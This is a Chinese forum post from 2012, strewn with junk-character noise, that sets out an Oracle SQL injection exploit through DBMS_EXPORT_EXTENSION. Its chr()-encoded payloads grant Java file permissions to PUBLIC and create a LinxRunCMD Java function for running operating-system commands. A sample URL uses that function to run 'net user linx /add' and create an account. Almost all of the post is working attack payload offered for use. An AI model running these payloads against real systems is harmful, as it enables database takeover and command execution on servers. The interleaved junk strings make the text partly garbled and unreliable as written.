chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||
i* c7 s% Z5 c- S5 Gchr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||8 M9 r; \9 i- G$ M2 Y
chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||$ a! ]# n% a( b: G! Q& C
chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||4 v6 _8 S5 ~+ J; y/ h1 O# b3 B
chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||
" j/ _: F( m6 j' c% r0 c" `7 mchr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||3 `, ]( l4 Z8 h7 R2 D" W/ P& R* U* S
chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||" J# X4 _2 m9 U8 ~3 Z. D( X
chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||9 L, g* _7 v/ U3 k
chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||
, B0 W; F6 ^0 K; _+ V6 {7 P/ \) \ Y6 B5 vchr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||/ P& [+ g, q- A& K5 X9 r9 v
chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||' n; a8 N9 e* ~ E5 ^7 t& |- T0 [* C
chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||. E- i' L0 x& O" ?
chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45): g3 h4 L# y8 @: X
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
# e* d Y0 n. k! [# P
c7 R: R. m5 p( h, d. a3 [)3 b% g, \; J1 k- ]6 b) X# `- f9 F
/ w1 ]# M$ Z) C# D4 M5 k4 ]
------------------------------
5 z& P+ P% _7 z4 X, L
2 O2 v6 G- v. O2.赋Java权限
! g9 E5 b& b- A/xxx.jsp?id=1 and chr(49)<>chr(50)||(# B# J% M& F c8 E6 Z
& D5 N' Y; q, v2 Kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
! r7 m' h5 [& H$ q8 C) Zchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||! Q( ~6 f0 H; C7 d- ?
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
5 K" ^+ g6 m% schr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||- ^6 W% F7 @! G5 K! K- F) S' Y
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||
( z. _6 I$ s# M9 @( f4 Ochr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||- J4 C' I! }% t% S) n
chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||6 x0 E; L2 [7 \0 c
chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||
+ x" t' `& G& L3 q* n8 b- X ]8 G% Cchr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||: t0 g4 x& g; Q& ~) W( W
chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45). d* C& x0 Q- f+ A! L8 }: {
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual+ U7 A9 \- `6 \9 n- Q; H$ I
. ]2 s/ `5 {9 y! Z( o' g! a): w4 i5 C; c6 J7 h# x8 b/ R4 W
1 P" T- @7 x7 freadfile函数的ascii版就不写了，见谅。7 S7 d4 a" U- `, n2 C5 j* F: \ o1 j
% N- M, B" y0 A. E3.创建函数3 g' W2 k' A$ m% t
/ }8 B; |8 K! N2 b( c8 E. u
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
) ?) g# ?* V% j3 F- d" u9 D( Uchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
/ r! c" H, {! a+ ochr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||5 J, ~7 p8 ]9 `# g8 ]
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||3 N5 A0 Z/ A+ V" f% m3 i8 z! x
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||8 Q. m/ m. T) P3 ?- M# r
chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||
2 R m. Q1 t; W. a' O2 mchr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||
. C- P8 l0 o0 o' A1 M- i# g' Uchr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||
4 }! r0 n ^3 d. c6 A/ e/ Echr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||
0 b6 b1 d% |* }chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||5 G! D* G# M( H& M) @
chr(59)||chr(45)||chr(45)3 E! T& ~& e, |9 \! d
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual; n8 f. o" W! T3 z$ n* t5 w
5 k% l4 x; s9 \6 o
! b3 ^* X4 U; \' k4 }7 f9 X$ v7 ?
/ h" z8 Q* q! |4.赋public执行函数的权限
8 ?* D9 g, }/ r+ J$ \6 N. T( F. A% Z+ ^" `+ {5 L' b
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),: Z) _& P) D6 W2 ^
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
+ |' R5 D% G2 n+ Q* a; k- f: W' Pchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||- ?0 H( v4 P+ n5 s
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||7 P& ]- }, |/ R' [1 C- G# g
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)|| {( c" C' W6 B% {: o% O6 O' E
chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||, U- S, v" b0 m
chr(59)||chr(45)||chr(45)( m0 S, b7 O1 y" h
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual( a% {/ E* f- F: E( h9 l" m
- D" D* X1 Z* U% a! ]
1 J% {9 E8 j8 W) v) M' Q' ^; @2 v! J' r) V* {. y+ G
5.执行命令：
" _) m1 {7 v* b" _2 x% h0 p& j8 f7 z- W8 H( C( p. L( c `/ |
/xxx.jsp?id=1 and chr(49)<>chr(32)||(
9 _/ ~+ y. w$ [. A7 r5 hselect sys.LinxRunCMD('cmd /c net user linx /add') from dual
7 u4 v( [4 S5 w1 ?: r)5 y5 R' y3 f% O' V* M: `
* g: t4 L$ {$ d* E" w
即& E6 |* Y7 M, R
/xxx.jsp?id=1 and chr(49)<>chr(32)||(9 Z- k8 r' h1 E& w! W
select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual* O0 A6 s/ }* _! O
)
5 ?5 Y& u# [9 [2 }# a |
发表于 2012-9-13 16:49:51
收藏
支持
反对